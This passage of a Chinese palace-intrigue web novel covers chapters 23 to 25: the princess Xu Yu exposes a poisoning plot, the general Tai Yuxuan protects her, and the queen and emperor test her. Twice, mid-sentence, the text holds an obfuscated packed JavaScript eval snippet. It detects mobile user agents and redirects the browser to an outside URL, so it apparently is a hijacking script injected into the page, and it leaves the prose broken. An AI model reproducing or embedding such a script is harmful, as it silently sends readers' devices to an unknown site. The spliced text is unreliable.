而见她这副摸样,胥毓颇有些恨铁不成钢的意味,她叹了口气“四皇妹,难道你就没有发现,自己被人当枪使了?” 胥弦月眨巴着眼睛,泪水在眼眶里打转:“什么意思……” “意思就是。”邰玉轩冷声道,“有人借你的手下毒,若荣安公主真有不测,你就是替罪羊。” 胥弦月腿一软,直接瘫坐在地。 她想起清露这些日子总是在她耳边念叨的话—— “大公主回来会抢走皇上所有宠爱!” “她在民间那么久谁知道干不干净!” “四公主您才是正经的皇室血脉……” ……原来,这一切竟都是有人授意! “胥锦婳……”胥弦月咬牙切齿,“亏我还把她当最亲近的人!” 却不想到最后,是笑里刀剐皮割肉,绵里针剔髓挑筋! 她攥紧了拳头,指甲几乎要掐进掌心。 胥毓见状蹲下身,平视着胥弦月:“这样看起来,你倒还不算太蠢,时候不早了,回去吧。” “回去?”胥弦月抬起泪眼。 她就这么轻飘飘地让自己走了?不去向父皇揭发自己?也不打算惩罚自己? 那双大眼里藏不住情绪,胥弦月心里想的什么胥毓一眼就看了出来,但她不想过多解释。 所以只轻声道:“回去把该处置的人处理干净,就当今晚没来过这里。” 至于胥锦婳,她自会亲自去收拾。 胥弦月咬了咬嘴唇,似乎没想到到头来真正对自己好的,却是这个自己一心针对的大皇姐。 她眼底隐约有泪花闪过,然后突然抓住胥毓的手说道:“大皇姐,从前是我蠢,不知人心险恶……今日你放我一马,妹妹铭记在心,以后你有什么需要,尽管吩咐!” 门外风声渐歇,偃旗息鼓地沉寂中,一轮冷月从云层中露出脸来。 胥毓站在窗前,望着胥弦月带着茯苓匆匆离去的背影,唇角微微上扬。 “就这么放她走?”邰玉轩走到她身旁。 胥毓望着月光下泛着冷光的青石板:“她不过是个被人利用的傻子,有什么好苛责的,真正的毒蛇,还藏在草丛里呢。” 更鼓声从遥远的玄武门隐隐传来,已是三更时分。 邰玉轩伸手将胥毓散落的一缕发丝别到耳后,想了想还是说道:“下次……别再拿自己的性命冒险了。” 他的指尖温暖,触到耳廓的瞬间,胥毓的心跳突然漏了一拍。 “将军这是在关心我?”她故意挑眉。 邰玉轩收回手,耳根却悄悄红了:“臣只是……不想再收拾烂摊子。” 真的只是这样吗? 胥毓笑而不语,心知肚明的她眼中闪过一丝动容,转身走向床榻。 23. 天亮了 烛火将尽,暖阁内光影摇曳欲熄,铁盆中胥弦月离去后留下的香灰还散落在地,被漏进来的夜风吹得打着旋儿。 邰玉轩静立在窗前,月光将他锋利的侧脸镀上一层银边,却照不进他眼底的晦暗。 “接下来你打算如何收场?”他转过身,眉头紧锁。 虽然这毒是源自胥毓之手,如今已经解毒,没有性命之忧。 但中毒之事却无法以此作为借口潦草收场。 否则的话,就算背后之人的谋划并没有成功,胥毓也免不了再遭受到来自帝王的惩处。 但胥毓倚在雕花床柱上,看起来却是不慌不忙。 她指尖绕着垂落的一缕青丝,淡然说道:“我还以为,邰将军已经替我想好了后路。” 这话说得太过于理所应当,所以饶是邰玉轩这般人物,此刻也有些辨不出她话中的真假。 “你——”他猛地欺身上前,眼中怒火格外灼人,“别告诉我你连后路都不给自己留?若真是如此,那倘若事情有变,若我不帮你,你又当如何?” 胥毓不避不让,只是含笑凝望着他。 那双眸子在烛光下清亮如泉,清晰地倒映着邰玉轩盛怒的面容,让人忍不住地沉沦其中。 僵持片刻,邰玉轩率先败下阵来,然后别开眼无奈地叹了口气。 “明日我会回禀皇上。”他的声音低沉下来,“就说曾在北甸得过一种奇药,传闻有起死回生之效,情急之下给你服下,却不想竟真的解了毒。” 虽然这番说辞也算不得多高明,倒也勉强说得过去。 东陵城的这位皇帝素来多疑,最忌讳手足之间的争斗,所以对于眼下的胥毓而言,除了那点微薄的父女之情,实在不宜再引起那位的过多注意。 而胥毓听罢他的主意,唇角微微扬起:“那邰将军怕是又要大受封赏了。” “我宁可不要任何封赏。”邰玉轩突然抬眸,目光灼灼地看着她,“只求你此生平安无恙。” 暖阁内忽然安静下来,窗外风声已歇,唯余屋檐角融冰化水的声响。 滴答,滴答。 搅乱一室春心。 胥毓忽的垂下眼睫,掩去眸中波动。 其实她并非没有应对之策,毕竟她又不是那种顾头不顾尾的蠢货,只是不管多好的计策,将她自己牵连其中,都免不得有所遗漏。 但若是顺水推舟由邰玉轩出面,那不管想出的法子是好是坏,最后的责任都不会再落到自己身上。 她就是在利用邰玉轩。 她算准了邰玉轩的爱与不舍,知道邰玉轩就算对于自己的算计心知肚明,也会甘之如饴。 她并不可怜这个男人,也并不觉得亏欠,毕竟这是他先欠自己的。 对于一个本就没有家的人来说,没留只言片语的离开,长达七年时间的抛弃,好不容易重逢却依旧将自己往外推的疏离…… 那是何等残忍的行为! 对于她这种睚眦必报的人来说,没取了他的性命,便已是莫大的开恩。 可是,明明该毫无波澜的一颗心,为何又在看见他一片赤忱的付出以后,又隐约生出不舍,隐约多出希冀,隐约泛起涟漪? 胥毓攥手成拳,忽然意识到,原来这世间最让人难以忍受的从来不是决绝,而是枯木逢春时,自己竟还存着抽枝发芽的痴心。 恍惚间,她又想起那日镇国公夫人千里迢迢赶赴驿馆时冰冷的告诫,顿时,心中的涟漪再次一扫而空。 “邰将军说这么多……”她轻声道,“国公夫人知道又该不高兴了。” 邰玉轩不知道在这短短的时间里,胥毓的脑子里流转过那么多的思考。 他只知道,眼前人倏而一亮的眼神,不知为何,一息之间便又恢复如初。 所以他沉默了。 烛芯爆了个灯花,在这寂静的空间里中格外清晰。 就在胥毓以为他不会再开口,正欲转身之时,却听他忽然说道:“阿柳,你不适合这里。” 胥毓身形一顿:“这莫不是邰将军不想见我的托词?” 所以不想让她回宫,想把她支得远远的,最好这一辈子都不再相见? 邰玉轩望向窗外渐亮的天色,无奈的摇了摇头:“当然不是。阿柳,你是山野轻风,林间飞鸟,本该自由的徜徉天地,而非囚困在这吃人的四方宫墙里。” 他见过她在山野间奔跑的样子,衣袂飞扬,笑得比朝阳还要耀眼。 那时的她,眼底盛着整片星河。 可如今初回皇宫,迎接她的便是如此要命的危险,他知道她聪慧,面对危险总是能够轻而易举地化险为夷。 但常在河边走,哪有不湿鞋? 万一哪次稍不注意,她便着了别人的道,那当如何? 他在战场上见识过太多人的生死,深刻地明白人命到底有多脆弱。 所以这叫他如何不惧,如何不怕,如何不担心这颗他恨不得捧在手心里的明珠,会在某天突然就香消玉殒? 邰玉轩眼底的担忧几乎凝成实质,胥毓顺着他的目光朝着远处看去。 东方已现鱼肚白,几只早起的麻雀在院子里的青石板上跳跃,留下一串湿濡的细小爪印。 她明白邰玉轩到底在担忧着些什么,可从她下定决心回来的那一刻,她便早已没有了回头的可能。 丹骆村的往昔历历在目。 那时她总是第一个推开柴门,趿着那双穿了好多年的破布鞋荡过晨露去采药,山风会自由地穿过她的发梢,送来草木与泥土混合后的清香…… 那时的她,确实就如邰玉轩所描述的那样,像极了一只自由自在的鸟。 “可是,有了自由又怎样?”她喃喃道,“还不是孤零零一个人……” 虽然这么多年她早就习惯了一个人,可她又不是石头里面蹦出来的,血脉相连的亲人就摆在眼前,教她如何又能狠心的把他们全都推开? 邰玉轩的喉结滚动了一下:“阿柳——” 可胥毓急不可耐的打断他:“现在的我,只是想有个家!” 一个有父亲,有母亲,有兄弟姐妹,让她不再孤单一人的家。 尽管这个家危险重重,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031301|177870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也依旧甘之如饴。 胥毓的声音轻得几乎听不见,晨光透过窗纱,将他们两人的影子拉得很长。 邰玉轩再次深深地看了她一眼。 他也明白她的坚持与追求,知道她下定决心的事情,就不会再轻易的改变。 罢了,终归他往后,会更加努力地护着她的。 叹了口气的邰玉轩认命地说道:“若是以后你改变主意,随时可以来找我,我会送你离开。” 胥毓挑了挑眉,语气里带着几分调侃:“我竟不知,邰将军还有这么大的本事?” 从前难不成是自己小瞧了他? “我自有我的办法。”但邰玉轩目光坚定,却是不肯多说。 胥毓撇了撇嘴,面露不屑,可心底某处的坚冰却悄然融化。 她鬼使神差地想起昨日箭术课上,曾问过褚奎的那个问题。 那时褚奎的答案虽然对于很多人来说或许都是最好的做法,可胥毓心里却不以为然。 所以一念至,她便没忍住又问出了口:“昨日靶场练箭,我教训了那位兵部侍郎家的公子,你……以为如何?” 问出这话后,她竟罕见地多出了几分小女儿的紧张。 而邰玉轩几乎不假思索:“当然是做得对!” “哦?” “这些个贵族子弟一贯喜欢踩高捧低。你初回皇宫,他们便自以为可以轻易贬低与你,却殊不知皇室威严不可冒犯!就算阖宫上下皆不待见于你,只要你还保留着这天子之女的身份,便由不得他们这些宵小来随意欺凌。所以,这种时候就是要杀鸡儆猴。”邰玉轩说着,眼中闪过锐光,“不然以后,怕是谁都能欺到你的头上!” 在这宫闱之中,弱肉强食本就是常理。 但真正的威严却不在雷霆手段,而在于让所有人明白,你手中的剑凡是出鞘,便必要见血。 昨日胥毓惩处的虽只是一人,但像他那样的人,在整个东陵皇朝却是数不胜数。 而对于这样的人,今日你容他们轻贱一尺,明日他们便会更近一丈。 人心如雪,初时不过零星几点,纵容久了,便是没膝深寒。 所以邰玉轩继续说道:“凤凰浴火方得重生,龙困浅滩终非长久,你既归位,就该让世人看清,野雀叽喳得再欢,也改不了鹰隼掠空时的天地肃静!” 胥毓没想到随口一问,他却回答得如此认真,于是没忍住掩唇轻笑:“邰将军竟是这般想得吗?那倘若我让你一尺,你是否也会更近一丈,然后欺到我的头上?” 邰玉轩望向胥毓的笑颜,突然上前一步,似乎是想抬手触碰她的脸庞。 但手伸到一半,又像是骤然回神,于是抬起的手掌便又那么突兀地停在半空。 “我不敢。”他的眼睛依旧落在胥毓的脸上,说话的声音格外低哑,“也不会。” 胥毓的心跳失恒,嘴唇微动,正想说些什么。 却不想玄武门的晨钟恰在此时响起,惊飞了窗外青石板上散落的一地麻雀,两人俱是一怔,然后同时望向窗外。 原来,是天亮了…… 24. 银针 皇帝将调查胥毓中毒一事交由邰玉轩督办,虽说如今对于事情的始末他已心知肚明,但要想给皇帝交差,却还远远不够。 所以“救回”胥毓当日,邰玉轩便带人在太液池边的荒草丛中“偶然”发现了一个瓷瓶。 经太医院查验,瓶内残留的毒药与胥毓所中之毒一致。 随后,邰玉轩亲自带人彻查,竟在池水中也验出了微量毒素。 “竟是水中有毒?” 金銮殿上,皇帝高坐龙椅,目光深沉地扫视殿下众人。 胥毓虚弱地立于下首,脸色仍有些苍白:“儿臣与三皇妹同时落水,却只有儿臣中毒,想必也是儿臣运气不好,呛水时吸入了更多毒水。” 站在一旁的胥锦婳脸色煞白。 清露调换毒针之事是她暗中指使,所以她心知肚明胥毓中毒绝对和那池水没有关系,可面对众人质疑的眼光,她却是有口难辩。 毕竟,她总不能直白的承认胥毓不是水中中毒,而是被她给蓄意谋害了吧。 可是说与不说的结果,现在看来似乎也没什么差别。 因为此时此刻,同样落水,并且在水中待得更久却安然无恙的自己,绝对比任何说辞都更具说服力。 众人眼中,她已然难逃干系。 “毓儿对这个结果可满意?”皇帝表情深沉,沉默了一会儿,才看向胥毓突然问道。 胥毓抬眼与父皇对视,敏锐地捕捉到那双威严的眸子里多出了一丝探究。 但她佯装不觉,只柔柔一笑:“儿臣一个深闺女子,哪懂这些?父皇既已亲自过问,那女儿自然是相信邰将军的调查,也信服父皇的决断。一切但凭父皇做主。” 她表现得谦逊懵懂,眼中盛满孺慕之情,皇帝果然受用。 所以沉吟片刻,便直接拍案:“传旨,太液池即刻封禁,着内务府严查宫中所有水源!至于三公主……” 胥锦婳浑身一颤,跪倒在地。 皇帝的目光落在她的身上,夹杂着不满,厌烦……但更多的还是恨铁不成钢。 虽然胥毓没有过多追究,邰玉轩也不知是有意还是无意没有牵扯上皇室之人,但他自己作为帝王,拥有着这整个皇朝的生杀大权,又岂能连一个小小书院里的龌龊争斗都查不明白? 所以,他早就知道了胥锦婳干出的那些蠢事。 做个普普通通的好人自己又不甘心,想当坏人却连个山野长大的丫头都斗不过,这样的女儿,说出去他都觉得丢了自己的脸! 可他又不能把姐妹相残的事情摆到明面上来处理,否则只怕是更叫这天下百姓来看他的笑话了。 所以气闷地一闭眼,他随口找了个理由,说道: “听闻你当时离毓儿最近,朕早说了叫你们多多照拂于她,但今日看来,你只怕是并未将朕所说放在心上,故罚俸半年,着抄写佛经一卷,好好磨磨你的心性!” 不曾照顾好姐妹,却是罚抄佛经磨炼心性,这处罚实在是有些欲盖拟彰的意味。 倒像是明晃晃地告诉大家她心眼坏似的,这谁还能不把她和胥毓中毒的事情联想到一起去呢? 胥锦婳心里呕了一口气,但现在却是不敢争辩,毕竟这处罚虽说是丢脸了些,但到底是算得上轻了。 所以皇帝话音一落,她便跪地谢恩,“儿臣接旨。” 退朝后,胥毓在琴夏的搀扶下朝着未央宫的方向缓步离去,但胥弦月不知道从哪儿冒了出来,忽然悄悄拉住了她的手臂。 “大皇姐,谢谢你了……” 她从崇文馆的暖阁里离开后,虽然确实没看见胥毓去告自己的状,但事情毕竟还没结束,谁知道最后到了父皇面前,她会不会又突然反水改口呢。 所以就这么一直心慌慌地等到今日朝会,她见金銮殿上的大皇姐竟然真的没有提及自己,一颗不安的心才总算是踏踏实实地落到了肚子里。 但胥毓拍拍她的手,脚步没停:“记住你答应我的事就行了。” 答应的什么事? 胥弦月楞了楞神,直到身旁的茯苓扯了扯她的衣角,说了句“报恩”。 她才恍恍惚惚地想起那日暖阁中自己说得那句“以后你有什么需要,尽管吩咐!” 原来说得是这事啊!她当然没有忘记了,这可不是她随口答应的胡话,而是她深思熟虑后认真做出的许诺呀。 以前她听信谗言做了那么多对大皇姐不好的事情,但现在才知道,原来大皇姐虽然和自己相处的时间不多,但却是真正对自己掏心掏肺的那个。 所以,她早就已经决定,从今往后,要做大皇姐最忠诚的走狗了! 以后大皇姐让她往东,她绝不往西,大皇姐让她吃素,她绝不沾腥,大皇姐让她闭嘴,她绝不喘.息…… 反正就是以大皇姐的话唯命是从! 而翩然离去的胥毓,却是全然不知自己已经莫名其妙多了条狗了。 远处,邰玉轩正被几位大臣围住,询问那救了胥毓的“奇药”来历。 但本就是无中生有的药,能翻出个什么来历?所以他只能一边应付着,一边不自觉地用余光追随着那道渐行渐远的红色身影。 偏巧这时胥毓走到廊下,忽然驻足回望,于是这一刹,隔着攒动的人头,两人无声地四目相对…… 那天早上,在暖阁里,胥毓说胥锦婳一定不会善罢甘休,并且她还只是胥嘉手里的一个小喽喽。除她以外,背后还有胥嘉和太子在等着自己,所以接下来的路一定会更危险。 胥毓虽心里有怨,但到底还是不希望邰玉轩会因自己受累,所以良心短暂回笼的那一刻,她曾劝他在此事了结后远离自己。 但邰玉轩当时是怎么说的? 他说:“晚了,从北甸境内,你孤身闯我营帐与我重逢的那一刻起,我就已经选择了立场。” 他此生,只忠于阿柳一人。 做她的刀,做她的剑,为她遮风避雨,所向披靡! …… 阳光透过茜纱窗棂,在青砖地上投下斑驳的光影。 胥毓半倚在贵妃榻上,手中捧着一本医书,却许久未曾翻动一页。 窗外桂花飘香,偶有落叶打着旋儿从窗前掠过,在地上积了薄薄一层。 “公主,皇后娘娘驾到。”宫女在门外轻声禀报。 胥毓手中的书页微微一颤。 自从中毒事件后,皇后从未踏足她的寝宫。 没有问询,没有关心,就好像从前她所感觉到的温情,当真只是她一人的镜花水月一般。 只是今日,她为何突然又来了自己这里? 胥毓匆忙起身整理衣襟,还未及迎到门口,珠帘便已被宫女掀起。 皇后今日着一袭绛紫色宫装,发间只簪了一支白玉凤钗,端庄中透着几分肃穆。 而除她以外,她的身后还紧跟着个俊朗的少年,约莫十六七岁年纪,眉眼与皇后有七分相似,却更多了几分阳光朝气。 不必皇后开口,胥毓便瞬间知道了他的身份。 这位,想必就是她那个钟情山水,向来神龙见首不见尾的四皇弟胥文璟了。 “儿臣参见母后。”胥毓福身行礼,目光却忍不住瞟向那陌生少年。 “不必多礼。”皇后的声音依旧清冷,但今日却难得地带了丝温度,“这是你的四皇弟文璟,他一直在外游历,昨日才回宫。” 胥文璟不等皇后说完,已经三步并作两步上前,一把拉住了胥毓的手:“皇姐,我可算是见到你了!” 他的手掌温暖干燥,掌心还有常年握剑留下的薄茧,说话的时候忍不住上下打量了一番眼前的这个新姐姐。 好看! 脸小小的,嘴巴也小小的,可那双亮闪闪的眼睛却是格外的大,活像是夜空中璀璨的北极星! 他先前一路游山玩水,跑得实在太远,所以等收到皇城来信之时,胥毓都已经回到皇宫了。 之后他一路紧赶慢赶,足足跑死了三匹快马,却还是没能在册封大典的时候赶回来,实在可惜。 不过虽然是晚了几日,但眼下到底还是见到了人。 而胥毓却被他这突如其来的热情弄得有些无措,无他,只因回宫这么长时间,他还是头一个这么直白的表现出对自己喜爱的人。 所以尽管还不太适应,她也不由自主地勾起了唇角。 “四皇弟……”她轻声唤道,喉间莫名有些发紧。 “叫什么四皇弟啊,多生疏!咱俩可是一母同胞的亲姐弟,姐姐和母后一样叫我文璟就好了。”胥文璟揽过她的肩膀,然后从怀中掏出一个锦囊,倒出一颗鸽卵大小的珍珠,“看我给你带了什么!这可是南海鲛人珠,夜里会发出莹莹蓝光,我花了好长时间才从一个老渔夫手里换来的!” 珍珠在阳光下泛着七彩光晕,美得惊心动魄,胥毓小心翼翼地接过,指尖顿时传来温润的触感。 “真是胡闹,这般贵重之物,岂能随手把玩?”但皇后见状立马轻斥道,她转身看向身旁嬷嬷,使了个眼色,“拿去尚宫局,让她们嵌一顶珍珠冠出来,过些时候便是高贵妃的寿宴了,届时公主出席便能戴上。” 嬷嬷应了声“是”,便从胥毓的手中小心接过那枚珠子,然后往尚宫局的方向走了去。 胥毓看着她的背影,心里有些可惜,那么好看的珠子,她都还没能好好看看呢…… 但胥文璟看了看她的眼神,忽而笑着冲她眨了眨眼,然后压低声音说道:“没事儿,虽然这颗最好的现在看不着了,但我那儿还有好几颗略逊一两分的,看起来几乎无甚差别,改日得空了再给你带来!” 胥毓忍不住笑出声来。 这一刻,紧绷了许久的心里才稍微多出了几分符合年纪的娇憨。 皇帝的深不可测,皇后的冷漠疏离,还有那些各怀心思的兄弟姐妹,都叫她心里压着块石头。 唯有眼前这个阳光灿烂的四皇弟,让她第一次真切地感受到血脉相连的温暖,也或许,这就是血脉相连的魅力吧。 “文璟在外游历,可有遇见过什么趣事?”她忍不住问道。 而说到这个,胥文璟的眼睛便顿时一亮,宫里的人都觉得他一天不务正业,所以从不关心他在外边儿究竟遇见了些什么事。 所以就算看见再多有趣的东西,他也几乎都是一个人憋在心里,无处言说。 但没想到他的新姐姐不仅毫不嫌弃,竟然还主动问起了他外边儿的事,所以他立马滔滔不绝地给胥毓讲起了他这些年在外遇见的山川烟雨、大漠孤烟…… 他说话时的表情极为丰富,眉飞色舞,时不时还要动起手来比划几下,逗得胥毓哈哈大笑。 而皇后就坐在一旁静静听着,目光在两个孩子之间流转,脸上冰冷的面具似乎也松动了几分。 “……后来那西域商人非要与我比试箭术。”胥文璟手舞足蹈,“但是我闭着眼都能射中百步外的铜钱,所以——” “文璟。”可正说至兴起,皇后却突然出声打断,“你回宫后还未去给你父皇请安吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16038341|177870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胥文璟的笑脸顿时垮了下来:“母后,我才来一会儿……” “不合规矩。”皇后语气转冷,“你父皇若知道你回宫先来看你皇姐,会不高兴的。” 胥文璟撇撇嘴,不情不愿地起身:“那皇姐,我改日再来看你。” 但临出门,他忽然又一溜烟的折了回来,然后凑近胥毓耳边说道:“我给你带了许多外边的美食,比宫里的好吃多了,待会儿给你送过来!” 胥毓笑着点头,目送他风风火火地离去。 而他一走,殿内热闹的氛围便顿时烟消云散,只剩窗外还偶尔掠过几声嘈杂的鸟鸣。 “母后喝茶。”胥毓亲手斟了杯茶奉上。 皇后接过茶盏却不饮,反而从随侍宫女手中端过一只汤碗,递到胥毓面前。 “这是摩罗雪梨羹,你身子还未大好,喝了有助于恢复。” 端着羹汤的宫女是方才进来的,她进来没一会儿,皇后便将四皇子支到皇帝那儿去了。 所以她让四皇子去见皇上,就是为了把人支走后让自己喝这碗羹汤? 莫不是一开始没算到胥文璟会来,所以这羹汤便只做了一份,不好分给两人,便把人支走让自己吃独食? 胥毓也不知道自己猜得究竟对不对,但不管是哪种猜测,她的心里都免不了生出了一阵小窃喜。 她就说母后怎么会不爱自己,母后只是不太善于表达而已,否则的话,又怎么会把这独一份的羹汤就单单留给自己? 想到这里,胥毓受宠若惊地接过汤碗,羹汤澄澈,泛着淡淡的草药香。 她刚要饮下,但舌尖却敏锐地尝到一丝异样。 有些辛辣,余味还带着苦涩,这味道……怎么像是断肠草! 这种剧毒处理过后没有颜色,只是味道无法掩藏,但若混在药膳当中,若非她从小尝遍百草,估计也根本察觉不出。 她的手几不可察地抖了一下。 母后为何要毒害自己,她就算是不喜,也没必要杀死自己的亲生女儿呀! 不,或许自己根本就不是她的亲生女儿,也或许下毒的人并不是皇后…… 无数念头在脑中闪过,胥毓面上却不露分毫。 “多谢母后关怀。”她一脸淡然的端起羹汤准备喝下。 但刚要送进嘴里,却又突然假装失手,随后瓷碗“啪”地摔在地上,将里面的羹汤全都溅在了地上的青砖上。 胥毓“慌忙”去捡,然后故意让银簪从发间滑落,再正正掉在了地上的汤渍当中。 顿时,银色的簪子立马变的乌黑,胥毓也紧跟着惊呼一声,“啊!这汤里有毒!” 可皇后却是静静地看着她表演,只是眼神不似先前冰冷,反而闪过了一丝赞赏:“当然有毒。” 胥毓浑身的血液瞬间凝固:“母后……这是何意?” 果然是她下的毒吗,果然是她!她想要自己死?! 可是,这究竟是为什么! 而顶着胥毓不解的眼神,皇后不紧不慢地抿了口自己手中的茶,才慢慢说道:“本宫只是想看看,能在崇文馆绝地反击的毓儿,医术究竟如何?” 胥毓瞳孔骤缩。 母后不是想要自己死,而是想要试探自己,她不仅知道自己会医术,还知道崇文馆的局是她设的! 可是,下这种见血封喉的毒药,就仅仅只是想要试探一下自己? 她难道就不怕自己稍一疏忽,便真的死掉了吗! 她真是一个疯子,一个比自己还疯的,彻头彻尾的疯子! “母后不怕……儿臣就这么被毒死了?”她声音发紧。 皇后放下茶盏,唇角微扬:“你不是还好端端的活着?” 阳光透过窗棂,在皇后脸上投下细碎的光斑,让那抹笑容显得格外莫测。 胥毓突然意识到,自己从前似乎都看错了眼前这个女人,她其实才是这宫里最深不可测的那一个。 “母后似乎有很多秘密。”胥毓试探地问道。 “谁都有秘密。”皇后从袖中取出一个檀木匣子,推到胥毓的面前。 “连女儿也要瞒?” 胥毓打开匣子,呼吸瞬间一滞,只见里面放着一根细小的银针,银针上刻着个“梧”字。 赫然与师傅留给她的那只匣子里的一模一样! 梧,若没有记错,皇后的闺名,便是沈青梧! 自己真的是不小心遗失在外的吗? 她好像还从来没有问过,自己小时候到底是为什么会从一个好端端的东陵公主,变成了北甸城小山村里无父无母的孤儿。 还有她的师父,显然对她的身世并不是一无所知,可却什么都没有告诉过她。 这些人都在瞒着她,而瞒着她的秘密,又究竟是什么呢? “聪明的人瞒不住。”皇后意味深长地看着她。 胥毓指尖抚过冰冷的银针,突然笑了:“那母后可要藏好了。” 都不想告诉她,那她就偏要把这些人藏着的秘密给挖出来,看看究竟是什么东西,能叫这么多的人将自己玩弄于股掌之中! 皇后起身离去时,裙裾拂过地上的茶渍,带起一阵若有若无的药香。 胥毓望着她的背影,忽然想起密室中的那幅画像,画中女子的眉眼,与自己格外相似。 或许,这并不是巧合。 而此刻走在回宫路上的皇后,指尖无意识地摩挲着腰间一只褪色的荷包,眼中闪过一丝胥毓永远不会看到的痛楚…… 25. 复仇开端 胥毓的身体已然大好,但为保稳妥,还是打算再接着修养几日,以免引起不必要的怀疑。 这几日芳吟带来御前的消息,说胥毓中毒一事兹事体大,皇帝不放心让皇室子弟再继续留在崇文馆上学。 所以思量再三,降下旨意。 往后皇子公主一律不去崇文馆,额外另请几位大儒,于宫里私设学堂。 听到这个消息的时候,胥毓正倚在窗边的软榻上,指尖拨弄着胥弦月昨日送来的九连环。 铜环相撞时,发出阵阵清脆的声响,在寂静的寝殿内格外清晰。 “公主,这个环应该要这样解吧……”小宫女琴夏伸出手刚想上前指点,却被褚奎一个眼神制止。 琴夏看不明白,褚奎却瞧得清楚,眼前的女孩哪里是不会解呀,不过是玩得腻了在发呆。 果不其然被琴夏说话的声音一打断,胥毓扬了扬唇角,随后手指灵巧地翻转几下,几个铜环便在她的手中应声而解。 这东西刚开始还有点新意,但摆弄了几次找到破解的关窍,便也没有了趣味。 胥毓随手将解开的九连环扔到一旁,然后在身旁的一堆玩意儿里挑挑拣拣,拿起了胥昭云送来的那只绣花绷子。 绷子上是一只展翅欲飞的蝴蝶,针脚细密匀称,一看便知花了心思。 “二公主的手真巧,听说她的性子随了母亲容嫔,不仅绣工了得,琴棋书画也是样样精通。”芳吟忍不住赞叹。 胥毓的指尖轻轻抚过那栩栩如生的蝶翼,脑海中想起胥昭云昨日来时的模样。 那丫头捧着一盒人参,说是从自己份例里省下来的,平日里举止大度,行事从容的二公主,单独来见她时,耳根却红得像要滴血。 尽管一直强装镇定,但也掩不住眼底的慌乱。 初回皇宫时的那场家宴上,她对于所有人都妥帖关照,表现得实在太过完美。 在胥毓的字典里,事出反常必有妖,她和这位二公主不过初次见面,她凭什么要对自己如此殷勤? 所以从那时开始,胥毓对她是有所防范的,总觉得这个二妹妹笑里藏刀,说不准什么时候就要给自己捅上一刀。 但这些时日的接触下来,她也慢慢发现,原来这个二妹妹的性子历来如此。 她确确实实就是这样一个待人友善,不与人交恶的小绵羊性子。 想到这里,胥毓有些无奈于自己先前的杯弓蛇影,正想着要不要找点什么东西送给她算作赔罪。 却听珠帘外忽然传来一串急促的脚步声,接着便是太监尖细的通报:“皇上驾到——” 皇帝怎么这个时候来了,那日金銮殿上一别,自己便再也没有看到过他。 有着皇后那日的试探在前,如今皇帝的突然造访,实在也有些令她胆战心惊。 胥毓的心头发慌,手中的绣绷也差点落地,亏得芳吟及时出手,才将东西及时地归置进了身后的篮子里。 她匆忙的整理衣襟起身,还未及行礼,皇帝已经大步走了进来。 “儿臣参见父皇。”胥毓福身,余光瞥见皇帝今日只穿了件家常的靛青长袍,腰间连玉佩都没戴,显然不是正式来访。 “起来吧。”皇帝随意地摆摆手,目光扫过榻上散落的各色礼物,“看来你这些日子过得不错。” 解闷的玩意儿都是各宫的皇子公主着人送的,还另有些滋补药膳,大多源自于同皇后交好的后宫妃嫔。 胥毓垂眸:“托父皇洪福。” 皇帝在窗边的太师椅上坐下,随手拿起那个解开的九连环把玩:“身子可大好了?” 摸不准他的来意,胥毓不敢贸然揣测,所以她接过琴夏新端上来的茶壶,柔顺地为皇帝斟了杯茶。 “回父皇,已无大碍。” “嗯。”皇帝将九连环放回原处,却不想突然话锋一转,“崇文馆那日,你处置那世家子的手段,太过鲁莽!” 这话题转得实在太快,所以胥毓还有些没能跟上,等她反应过来皇帝说得究竟是什么时,滚烫的茶水已经溢到了桌面上。 她心头一跳,白嫩的手指又被茶壶烫得通红,但却丝毫不敢呼痛,而是立马就地跪了下去:“儿臣知错。” 原来是来兴师问罪的! 屋子里的人全都跟着跪地,胥毓低垂着头,入目除了地板,便只剩下皇帝脚上那只黑色皂皮靴。 她不着痕迹的用余光打量着眼前的那只脚,只见皇帝的左腿搭在右腿上,膝盖随意弯曲,毫不紧绷。 这不像是要发怒的样子。 想必父皇提及此事,是另有深意,她且先看看情况再说。 “你确实有错,但错不在罚,而在亲自动手。”皇帝的声音不疾不徐。 胥毓跪在他的脚边,一举一动都没能逃过他的眼,但这些小动作不仅没让他动怒,反倒让他的内心更加柔软。 太像了,与那个人年轻的时候几乎如出一辙。 若是那人如今还在世的话,也不知道做了母亲的人,是否还会如当初一样胆大包天。 他的目光里夹杂着怀念,说出的话也不免更加偏袒:“像这等不敬皇室之人,便是乱棍打死也不为过,若有求情不满者,一律仗杀!你是我东陵城的公主,不把你放在眼里,与打朕的脸无疑。但你唯一的错处,便是教训这么个奴才,竟还亲自动手,实在有失身份。” 胥毓的心跳得极快,指尖也微微发冷。 她的父皇来此,不仅没有处罚她,反倒还为她撑腰,让她放开手去反击那些欺负了她的人。 可是此刻,她的心里除了最初有那么几分感动之外,余下的竟全是彻骨之寒。 她一直以为自己就已经是一个足够冷血的人了,却不想眼前这个男人比之她,却更是有过之而无不及。 对于他的臣民,仅仅只是不敬,便要牵连出这般大的干系。 他杀那些人就像是砍地里的大萝卜一样冰冷麻木,毫不留情。 但他是帝王啊,一个帝王的威严,本就是神圣不可侵犯的,所以这么做似乎也并没有什么错。 但是为什么,方才他说得那些话一钻进自己的脑子里,她的第一反应便是不能接受? 